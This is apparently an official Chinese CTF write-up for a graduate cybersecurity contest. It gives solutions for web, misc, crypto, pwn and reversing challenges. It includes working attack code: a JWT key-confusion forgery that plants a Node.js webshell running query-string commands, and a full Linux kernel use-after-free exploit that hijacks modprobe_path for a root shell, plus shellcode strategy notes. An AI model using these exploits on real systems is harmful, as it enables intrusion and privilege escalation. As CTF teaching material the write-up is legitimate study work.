官方WP(二)|“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛

WriteUp 2周前 admin
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HackThisBox

题目给出了docker,里面有部分源码:

官方WP(二)|“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛

  • app.js

var express = require('express');
var path = require('path');
var fs = require("fs");
var createError = require('http-errors');
var { expressjwt } = require("express-jwt");
var multer = require("multer");
var cookieParser = require('cookie-parser');
var logger = require('morgan');

var indexRouter = require('./routes/index');
var apiRouter = require('./routes/api');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine''twig');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extendedfalse }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use(multer({ dest'/tmp' }).array("file"));

var publicKey = fs.readFileSync('./config/public.pem');    // jwt解密阶段使用公钥
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256""RS256"]}).unless({ path: ["/""/api/login"] }))

app.use(function(req, res, next{    // 这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字
  if([req.body, req.query, req.auth, req.headers].some(function(item{
      console.log(req.auth)
      return item && /../|proc|public|routes|.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});

app.use('/', indexRouter);
app.use('/api', apiRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next{
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next{
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});


var server = app.listen(8000function ({

  var host = server.address().address
  var port = server.address().port

  console.log("Application instance, the access address is http://%s:%s", host, port)
});

关键代码如下:

app.use(function(req, res, next{    // 这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字
  if([req.body, req.query, req.auth, req.headers].some(function(item{
      console.log(req.auth)
      return item && /../|proc|public|routes|.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});

这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字。

  • api.js

var express = require('express');
var fs = require("fs");
var jwt = require("jsonwebtoken");
var path = require('path');

var router = express.Router();

var privateKey = fs.readFileSync('./config/private.pem');    // jwt加密使用私钥

router.post('/login'function(req, res, next{
  const token = jwt.sign({ username: req.body.username, isAdminfalsehome: req.body.username }, privateKey, { algorithm"RS256" });
  res.send({
    status:200,
    msg:"success",
    token
  })
})

router.post('/upload'function(req, res, next{
  if(req.files.length !== 0) {
    var savePath = '';
    if(req.auth.isAdmin === false) {
      var dirName = `./public/upload/${req.auth.home}/`
      fs.mkdir(dirName, (err)=>{
        if(err) {
          console.log('error')
        } else {
          console.log('ok')
        }
      });
      savePath = path.join(dirName, req.files[0].originalname);
    } else if(req.auth.isAdmin === true) {
      savePath = req.auth.home;    // 漏洞点
    }

    fs.readFile(req.files[0].path, function(err, data{
      if(err) {
        return res.status(500).send("error");
      } else {
        fs.writeFileSync(savePath, data);
      }
    });
    return res.status(200).send("file upload successfully");
  } else {
    return res.status(500).send("error");
  }
});


module.exports = router;
整个项目使用了jwt,并且加密方法为非对称加密算法RS256,但是在解密过程中可以使用对称加密算法HS256,这就造成了密钥混淆攻击:

JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。

如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)呢?

那么,后端代码会使用RS256的公钥作为密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

并且,我们在源码config目录重找到了公钥文件public.pem,因此我们可以伪造token。

如果我们将token里的 isAdmin 设为true,就可以通过 req.auth.home 自定义文件保存的目录,这里 fs.writeFileSync 存在任意文件写入,并且通过docker里的start.sh启动文件我们可以得知题目环境通过nodemon启动,因此我们可以写入覆盖app.js,从而写入一个简单的“webshell”。但是由于 app.js 里的中间件对请求数据进行了过滤,我们必须绕过。

由于fs.writeFileSync方法支持传入一个url对象,我们考虑是否可以通过伪造一个url对象来绕过waf的过滤。

我们查看 fs.writeFileSync 源码:

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其对传入的path调用了fs.openSync,跟进fs.openSync

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跟进 getValidatedPath:

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跟进 toPathIfFileURL:

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这段小代码先调用了isURLInstance()方法来检查提供的参数(我们的路径)是否是 URL 实例。如果不是,就直接返回我们提供的参数。如果是,则运行调用 fileURLToPath 方法。我们想看看我们是否可以通过基础对象绕过这个 URL 检查,我们跟进 isURLInstance:

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发现它实际上并没有检查参数是否是一个 URL 对象,只是它具有两个属性“href”和“origin”。所以,我们可以轻松添加这些属性来绕过。

然后再看看fileURLToPath方法是干啥的:

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可见,只要我们的协议是“file:”,我们就能直接到最后的return语句,由于我们没有运行 Windows,因此将进入 getPathFromURLPosix方法,跟进之:

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可以看到,这里将我们传入的path里面的 pathname 属性 URL 解码后返回最为最终路径。到这里,我们就可以轻松的伪造url对象了。

我们先在本地启动一个express应用,用于生成jwt token:

var express = require('express');
var fs = require("fs");
var jwt = require("jsonwebtoken");
var path = require('path');

var app = express();

var publicKey = fs.readFileSync('./public.pem');

app.get('/'function(req, res, next{
  const token = jwt.sign({ username"admin"isAdmintruehome: {
    href"a",
    origin"a",
    protocol"file:",
    hostname"",
    pathname"app%2e%6a%73"
  } }, publicKey, { algorithm"HS256" });
  res.send({
    token
  })
})

var server = app.listen(8000function ({

    var host = server.address().address
    var port = server.address().port

    console.log("Application instance, the access address is http://%s:%s", host, port)
  });

运行上述脚本,访问 http://127.0.0.1:8000/ 得到构造好的 token

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使用新的token上传文件:

POST /upload HTTP/1.1
Host: host
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYSIsIm9yaWdpbiI6ImEiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6ImFwcCUyZSU2YSU3MyJ9LCJpYXQiOjE2NjQzOTAxMDJ9.xnPaQ0sv8ExJIqmUdprvOK18pqY6uff9CLvHU8zAAwE
Connection: close
Content-Length: 619
Content-Type: multipart/form-data; boundary=e6a70575f2b3431196ed9ea9baa5f630

--e6a70575f2b3431196ed9ea9baa5f630
Content-Disposition: form-data; name="file"; filename="check.js"
Content-Type: text/plain

var express = require('express');
var process = require('child_process')
var app = express();

app.get('/', function(req, res) {
    var result = process.execSync(req.query.cmd).toString();
    return res.send(result);
});

var server = app.listen(8000, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Application instance, the access address is http://%s:%s", host, port)
});
--e6a70575f2b3431196ed9ea9baa5f630--

成功写入webshell并获取flag。


间谍过家家

爆破绝密文件为114514,线索.txt发现为伪加密:

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查看线索:

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发现为八仙外号第一个字按顺序改一下:

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解密一下,得到密码:

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解压后得到提示:

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它原先是一个正方形

打开音频:

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想到题目描述,看到了黄昏但没找到阿尼亚 ,

将封面图片导出查看:搜索IHDR(49484452):

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发现缺少文件头,提取出来补上,找到阿尼亚:

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发现宽高有问题,修复一下宽高:

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得到:

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想到之前的提示,他是一个⬜(正方形)把宽也修改一下,跟高一样:

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得到:


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Bit_QR

放qrazybox里面简单画一下,得到信息为457c

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放010editor观察16进制之后,发现有两个IHDR的png结尾,定位到第二个IHDR尾发现是png头被删掉了

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将后面16进制数据复制出来补上文件头,得到第二张二维码,扫描得到一半的flag,同时猜测四个问号处是之前得到的457c

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将原文件拖到kali内binwalk发现存在zlib压缩数据,使用binwalk -e提取出来,得到一串16进制数据

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根据题目名猜测为比特序列,参考链接:https://note.tonycrane.cc/ctf/qrcode/#eci-742

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将前12位填充的二进制数据删除,即可获得后半段flag

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breakMe

首先拿到题,审题发现题目中给出了一个可疑的leak函数,每次会return一些信息:(n, r, enc),其中: 都是随机的256bit的素数,.

在题目中,我们获取到了4组leak函数的返回值,不难发现,每次的都不一样,而且多项式的次数也为4,这不得不让人想到在RSA中,存在着广播攻击的方法,那么Håstad's broadcast attack的扩展形式正是本题的考点:在Wikipedia的coppersmith词条中,我们可以看到这种与coppersmith结合的攻击方法:https://en.wikipedia.org/wiki/Coppersmith%27s_attack

简述一下就是:我们可以利用CRT找到每个多项式的系数满足.这里的即是我们题目中的enc所处多项式,也就是。并且构造, 而且显然,因此对上利用coppersmith求small_roots即可求解出m,不过界卡的有些严格,需要根据flag格式flag{xxxx}来缩小一下所求bit数。

from Crypto.Util.number import *
from libnum import *

out = [(10104838556837572425858698219763292763650577822827673166610165534445905790599515983298170585537299796651687586519310335005278459900442296258190069157011689, 7564828531806668305145314143078783846371361009728098013923139274278986668460078185780789906860320972246757193033127803017086784149355945294908935420078516, 4485282300120902750491340174759104149475684698869265622396467866957919693682690175170986883471126578030682174788280328493147605703476577928850956031397969), (9565548877530896106016727232483590558935243658719980153279803247495028412133813638614011877483865630231054031084370990573419237535803428480492680139453999, 6038408119341558448569646184012774768725225345959109849115178440273061081156678389998969575922258723126076562743356339971035685064411166619777569139016508, 8750745342976938305411200510628417969404035221738007736422965823102502205577159397824830272988223657169242542971101468532748569435454625452166610190128781), (7032132827543709857775159929155596851822367214393091928329402747976746664890617830698759196796244901655353689522245761374585849734855765538189679713755499, 537414417641982152632158507627084083552317654751808484984901390258392606135955264531766980767789787016920198980507584546004466948509548457976277102756022, 6922262573315623933995838201220725774224132378664014973566219095767042719198956812716498145319448424126056354168025846702083830628832406132772890238012895), (10867950060245850877527719152309028431430000864654153258281294463898174216443333061889067616907305797497470525064325706490087786413068565388484751510567929, 2817477928396391253997165521234258370798748353920680581012362899514855249356663733557730846938679462940826446464369055820695102402810943359431061366297287, 6437402158704542412615350656111816825238327397134975867813883010385929819022183388539677074062781989152267579279340992202100004308737301019250714974969949)]

# clean data
ns = [o[0] for o in out]
rs = [o[1] for o in out]
cs = [o[2] for o in out]

# calculate T_i for each polynomial
calcT = lambda idx : crt([0 if i != idx else 1 for i in range(4)], ns)

# calculate Ts
T = [calcT(i) for i in range(len(ns))]

# construct the final polynomial
f = 0
P.<x> = PolynomialRing(Zmod(prod(ns)))

# use pad to add known bits
pad = bytes_to_long(b'flag{' + b'x00' * 58)
m = x + pad

# construct g(x)
for i in range(4):
    f += T[i] * (m^4 + 3*m^2 + rs[i]*m - cs[i])
root = f.small_roots(X=2^464, epsilon=0.03)[0]
m = m(root)
print(long_to_bytes(int(m)))

magic_ecc


from Crypto.Util.number import *

N = [7834852404690613421430169663612203646364286385985089874202019066309609197617451690988793560462179054987116479700769830549608039683656465594954511680417439827884682514137395099618980184523220683344996556134367140942117294093697944691881733841814807163442986266436501188979024846961439278137438956993286762327562946208729687183803979636530427089706799979910743733083271664688890197284286958329744716938657116601997652755435746077770728767110362385476822595962998307776360175080611079016376372852817169963572677788442191422682594927723659603889475113781413632017968109314079181793745538572610984547413637229310085064891299579829881723647984401025611405231406449739712673722224588344499332132095543472962886751820495842975789567349503557301407742869650464267146931803610790494635932148445981788415797178394601259462236108148095608019206757734240294295849932674874341232159471501976645287096966060347374787161638540066217167859919066055260883591502053070869551945047692654206920946891326048741423436599435774484763722715368827203845612354403468594494511688795068051140777669329826790833884137019297335832118519149000495203691914082887641717032244953119788416874814325467577437200429867014461247963978079935867875238778711836684201288629]
a = [7048154001918995017477365250721440939846406590540353416820154008187139217962602433154255479524221017573932812808705559493957586212577760267599598714536291727239485215656286274781121306887482105659998955359830778419337539924176135760285232988635633360704580265662170937825877189245474738393021110026742102153313216278255776130376138082600499470075974263988945433432950269298814024522089529135688027151902461068525999648812814432289753904648660255632191466687730143845345451924720264582796580432127526465822162693560487600746769737277554209793693179267741918040782995455329964261243510025686254977641555132520115383831003766785304103934401294447940282705898376865855467229608358635266223616681685921196326789825889644330923324365820557068129122460689831860605491274565880812817097474894161029686211809567525921391908052834418813882812899679072678117007830429139768989593461280926822834105766180087494153791822683344079141482546943832903409991642828570302536131525128645753930793106382906368952726384077421186255403537931046135925451476048548017535373288933816332713598232518007018014021815609935851599706943287432440225704733070091400716880400394526448257123585228314673632971354933209639455109919401694778978191398135174777533045403]
b = [4272068648071168554128636586350467405009694241694262836849423155558524145309230653833900842480890062328504409347247873131227928999434917761846296010735220794539754754709781832591462658606731823437811260960368913997315971957378706774967707190047218973326733836134154328499864695789950910713523349012474450864119298950730320225139578315200655537272403146409639460353925211450674030435681030577897808587705843361714016186562300029522489525016563236961711289640919724529832195320763998196355255015415756357594787755287635938111998733330607570027217046339209646943875551134205561520943787262200998974418054292819321822491034794927608682558688222515684307286601538460404686232910497621498356192683041160691750274628243253734243291884520601299977480263229083510851162087124881240733247344128733322622184587282867951718925828540968352724046706218826423103316566687062374343508062995642706347188152977224968815465415572495233006684197649214589736145661339350025603766052029302867406177205198200412263344904792642202923484806907193137271787655081123837667924783972976687435768372148142019805960085696461852811862193410065098094960702563602088132165333080687485869630334541488910322456467515098185301836641936447884084214487374441279192233849]
y = [48060886552320326401318159680353221822750066922591830957378320952675248256505867091639291207083766426872567684479657106290803492005881819285956780470408807897249718170593583961630967131532722134275228220588917989942462796755464787419285299889679462044527673719066732868275968858912686835558905218662204649963642730811356974752687463723861195667465817645142398294290857637107985619306192911676384173828947826976276730995620292056409120372162452059046772244952890373183956600813994278707869368067377652817955482768865129888782699955305042918819112312155792914783917327718378628646759000019971956418423520479573271807222671172019607699010808242481239740857130309731255435371908887956593421434992512079790234625706350568447858868609783480724200167840452748080516811720426420974312708628131116060025172282266118472961472876873141994049733918908550242475246834408823242506072794063563809180873166212417405862218538966602792514167644361727747632626598826890581163999609668835723437298040290901674278545143549378125708738964569230174723374335762192451734784904542916232268939865691930798231529455733298867239440319451124463937678028231210599360468666533601195511935168705936295829890653739823139986804039319543460282204539256406399080821]

def paragen(x0,a,b,y,n):
    return [int(i%n) for i in [x0*x0*x0+a*x0+b-y*y,3*x0*x0+a,3*x0]]

x0 = bytes_to_long(b'flag{' + b'x00'*123)
cnt = 0
PR.<x> = PolynomialRing(Zmod(prod(N)))
for s in range(20):
    print(s)
    for i in range(s+1):
        for j in range(s-i+1):
            f0 = paragen(x0,a[0],b[0],y[0],N[0])
            f1 = paragen(x0+i,a[1],b[1],y[1],N[1])
            f2 = paragen(x0+i+j,a[2],b[2],y[2],N[2])
            f3 = paragen(x0+s,a[3],b[3],y[3],N[3])
            f = x^3 + sum([crt([f0[i],f1[i],f2[i],f3[i]],N)*x^i for i in range(3)])
            ans = f.small_roots(X=2**984)
            if ans:
                print(s,i,j,ans)
                for k in ans:
                    print(long_to_bytes(x0+k))

grapefruit

首先解包rootfs.cpio文件拿到ko文件,逆向分析发现存在3个功能,分别是add del edit,并且都只能使用一次,

其中add只能申请0x60的堆块,在del里面有个明显的uaf漏洞,edit里面只能写一个字节,因此可以把此题理解为off by null的应用。

我们首先考虑如何泄露出我们想要的地址,由于没有开freelist保护,我们可以考虑这样的一种场景,我们申请两个msg_msg结构体大小为0x60,通过uaf占用其中一个msg_msg结构体,然后我们再申请两个0x400的辅助msg_msg堆块,通过uaf我们修改msg_msg结构体1的next最后一个字节为null,这样两个主msg_msg结构体的辅助堆块重合,然后我们通过msg_msg1来将辅助msg_msg堆块free掉,然后通过setxattr将辅助堆块的m_ts改大这样就能通过msg_msg1来泄露出heap的地址

我们通过阅读源码可以知道

官方WP(二)|“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛

由于本题没有freelist因此我们的modprobe_path的地址所存在的堆地址实际上是可以预测的,因此我们就可以将其权限修改使得/proc/sys/kernel/modprobe变得可写,从而达到修改modprobe_path同样的目的,最后运行一个错误文件来提权从而可以cat flag

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <stdint.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/prctl.h>
#define SIZE 0x60
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
long int data[0x400];
size_t modprobe_path = 0;
uint64_t kernel_base = 0;
uint64_t raceSign = 0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(void){
    system("/bin/sh");
}

void getroot()
{
    void *(*pkc)(void *) = prepare_kernel_cred;
    void (*cc)(void *) = commit_creds;

    cc(pkc(0));
}
void swapgs_iretq()
{
    __asm__("swapgs;"
            "iretq;");
}
void spawn_shell()
{    
    system("/bin/sh");
}
int add(int fd,char *buf){
    uint64_t arg[1] = {buf};
    ioctl(fd,0x20,arg);
}
int del(int fd,uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0x30,arg);
}
int edit(int fd,char *buf){
    uint64_t arg[1] = {buf};
    ioctl(fd,0x40,arg);
}
struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};

struct pipe_buffer {
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct {
  long mtype;
  char mtext[0x4000];
} msgbuf;

struct pipe_buf_operations {
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};


int add_msg(int msqid, const void *msgp, size_t msgsz) {
    if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
        perror("[-] msgsnd");
        return -1;
    }
    return 0;
}

int show_msg(int msqid, void *msgp, size_t msgsz,long count) {
    if (msgrcv(msqid, msgp, msgsz, count, MSG_COPY | IPC_NOWAIT) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}
int msg_get(){
    int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if(pid < 0){
        perror("msgget");
        return -1;
    }
    return pid;
}
int show_buf(uint64_t *buf,uint64_t size){
    for(int i = 0;i<size;i++){
        printf("%d ==> %llxn",i,*(uint64_t*)(buf + i*8));
    }
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next)
 
{
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}
void modprobe_hax()
{
        system("echo '#!/bin/sh' > /tmp/x; echo 'setsid cttyhack setuidgid 0 /bin/sh' >> /tmp/x");
        system("chmod +x /tmp/x");
        int ff = open("/tmp/asd", O_WRONLY|O_CREAT);
        write(ff, "xffxffxffxff"4);
        close(ff);
        system("chmod 777 /tmp/asd; /tmp/asd");
        system("sh");
}
uint64_t pop_rdi,pop_rsi,pop_rdx,swapgs,iretq,jmp_rsi,leaver,work_for_cpu_fn;
uint64_t tmp_idx,tmp_idx1;
int fd;
int main(){
    signal(SIGSEGV, spawn_shell);
    signal(SIGTRAP, spawn_shell);
    save_status();
    fd = open("/dev/kernelpwn",0);
    if(fd < 0){
        puts("Open Error");
        _exit(1);
    }
    char *buf = calloc(1,0x4000);
    memset(buf,'b',0x1000);
    int pid[0x100] = {0};
    for(int i = 0;i<100;i++){
        pid[i] = msg_get();
    }
    add(fd,buf);
    msgbuf.mtype = 0x66;
    memset(msgbuf.mtext,'a',0x100);
    if (msgsnd(pid[0], &msgbuf, 0x60-0x300) < 0) {
        perror("[-] msgsnd");
        return -1;
    }
    del(fd,0);
    if (msgsnd(pid[1], &msgbuf, 0x60-0x300) < 0) {
        perror("[-] msgsnd");
        return -1;
    }
    msgbuf.mtype = 0x2;
    memset(msgbuf.mtext,'a',0x100);
    if (msgsnd(pid[0], &msgbuf, 0x80-0x300) < 0) {
        perror("[-] msgsnd");
        return -1;
    }
    if (msgsnd(pid[1], &msgbuf, 0x80-0x300) < 0) {
        perror("[-] msgsnd");
        return -1;
    }
    edit(fd,'x00');
    free_msg(pid[1],buf,0x80-0x30,0x2);
    *(uint64_t*)buf = NULL//rdx
    *(uint64_t*)(buf+8*1) = NULL;//rax
    *(uint64_t*)(buf+8*2) = 1;
    *(uint64_t*)(buf+8*3) = 0x1000-0x30;
    *(uint64_t*)(buf+8*4) = NULL;
    *(uint64_t*)(buf+8*5) = NULL;
    setxattr("/tmp","aaaa",buf,0x80,1);
    memset(buf,'x00',0x1000);
    show_msg(pid[1],buf,0x1000-0x30,1);
       uint64_t heap_addr = *(uint64_t*)(buf + 11*8);
       printf("heap_addr => %llxn",heap_addr);
       if(heap_addr == 0){
           puts("NONONO");
           _exit(0);
       }
       uint64_t heap_base = heap_addr & 0xfffffffff0000000;
       int off = 0;
    while(!(heap_addr >> (32 - off*8) & 2)) ++off;
    *(uint64_t*)buf = heap_addr; //rdx
    *(uint64_t*)(buf+8*1) = heap_base + 0x11e89d0 + off;//rax
    *(uint64_t*)(buf+8*2) = 2;
    *(uint64_t*)(buf+8*3) = 0x80-0x30;
    *(uint64_t*)(buf+8*4) = NULL;
    *(uint64_t*)(buf+8*5) = NULL;
    setxattr("/tmp","aaaa",buf,0x80,1);
    free_msg(pid[1],buf,0x80-0x30,2);
    int fd1 = open("/proc/sys/kernel/modprobe",O_WRONLY);
    if(fd1 < 0){
        perror("open");
        _exit(0);
    }
    write(fd1, "/tmp/x"6);
    modprobe_hax();
    spawn_shell();

}


made_in_heaven

检查题目保护,发现除了NX都开了

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查看沙盒机制,64位的open write execve和32位read execve都ban了

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IDA反汇编发现有花指令

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讲图中的E8 48 中的E8patch成90后IDA可以正常识别,如下

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上图的call rax会干扰到f5直接nop掉 反汇编如下

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题目没有开nx允许输入0x38大小的shellcode,直接执行,但是64位和32位有关可以直接getshell和一键orw获取flag的办法都ban了

题目还关闭了输出流1和2无法直接write flag

__int64 sub_7F9()
{
  close(1);
  close(2);
  return sub_7CA();
}

思路如下

1.需要用到天堂之门切换位数绕过系统调用号检测,在这之前需要用mmap开启一段可执行空间,直接在栈上执行天堂之门会无法执行
2.在mmap出来的区段写上32 to 64的天堂之门shellcode然后open flag 和run.sh(或者pwn文件)
接着再用64 to 32的天堂之门切换到64位把flag读入到mmap区段,再接着切换到32位把flag write到run.sh(或者pwn文件)
3.由于程序有Xinetd守护进程,不会导致容器重置,下次nc直接get flag

infantvm

Use IDA Pro to analyse the binary program. In the main function, we can see that when the function sub_8049450 returns a non-zero value, the program will output "Good job", otherwise it will output "Try again".

Dive into the function sub_8049450. We see that this is essentially a loop calling a series of functions whose pointers are stored in the array off_804A21C.

Now we roughly go over each of the functions in the array off_804A21C, we can see that they are all functions that does a simple and short operation (like adding/subtracting/multiplying somethings), which look quite similar to the structures of the instruction handlers in a virtual machine simulator. With this intuition, we can now know that this is a VM simulator and the actual algorithm we are going to reverse engineer is inside the VM.

However, as we go over the these functions, we can find that function sub_8049900 contains an Xor operation, which is very common in encryption algorithms and deserves our special attention. Also we can find several functions that do comparison operations like sub_8049830.

If we set a breakpoint at here inside sub_8049830:

08049857                 cmovnz  edx, edi

Then when we debug the program, we will see that the program is comparing the input length with 0x22. From this we can guess that the program is checking the input length and the correct input length might be 0x22.

Next, we take a look at the xor function and set a breakpoint at here:

0804990D                 xor     [eax+edx*4+10h]ecx

Run the program with a debugger attached. We will notice that the program is xoring the input with 0x66.

Finally, by setting a breakpoint in sub_8049980, which is also a comparison handler, we can see through debugging that the program is comparing the input ^ 0x66 with a fixed array of values:

[010712937981207
    1828513319321213247183792020351810103127]

Now, guess with confidence, we have the solution to this challenge:

>>> arr = [010712937981207,
...     1828513319321213247183792020351810103127]
>>> flag = bytes([each ^ 0x66 for each in arr])
>>> flag
b'flag{CongratzUGuessedItCorrectlly}'


truevm

Install x64dbg and the ScyllaHide plugin.

Configure the ScyllaHide plugin to bypass VMProtect.

Run the program, dump the program contents using scylla.

We can use IDA Pro to statically analyse the dumped binary. However, we will see that some functions are obfuscated (protected) and we can not properly decompile them. For example:

003480CD     | 8B4D 08           | mov ecx,dword ptr ss:[ebp+8]                |
003480D0     |
 C70424 0A000000   | mov dword ptr ss:[esp],A                    | A:'n'
003480D7     | 894C24 04         | mov dword ptr ss:[esp+4],ecx                |
003480DB     |
 894424 08         | mov dword ptr ss:[esp+8],eax                |
003480DF     | E8 0C000000       | call truevm.3480F0                        |
003480E4     |
 83C4 10           | add esp,10                                  |
003480E7     | 5D                | pop ebp                                     |
003480E8     |
 C3                | ret                                         |
003480E9     | 0F1F80 00000000   | nop dword ptr ds:[eax],eax                  |
003480F0     |
 E9 A1803000       | jmp truevm.650196                         |

Here, the call to 003480F0 is redirected to truevm.650196 by a jmp instruction, which goes into the VMP protected section. The real logic of function 003480F0 remains unknown.

However, through statically reverse engineering other functions calling 003480F0, we can very quickly realize this is the AddRoundKey function in the AES encryption algorithm.

Next step, we find an AES implementation, try to use the same key to encrypt the same content, and compare the results with the results we get from the challenge. We will see that the results are different. This means that the AES in this challenge problem has been modified.

Then, we examine the intermediate results after each step in the AES encryption, by comparing the results we got from debugging the binary, and the results we get in a standard AES implementation.

We will discover that the AddRoundKey function behaves differently. After paying more attention, we will notice that it adds another layer of ^ 0x66 to the output.

Bingo, we now know the difference, we can write our own modified AES decryption to decrypt the flag.

For details, refer to the challenge source codes and the solution source codes in the directory.

Running the program with the correct input will reveal the flag:

.truevm.exe
ef631455b1274f21a6c26f87332d8a22
Correct
flag{ef631455b1274f21a6c26f87332d8a22}


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原文始发于微信公众号(春秋伽玛):官方WP(二)|“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛

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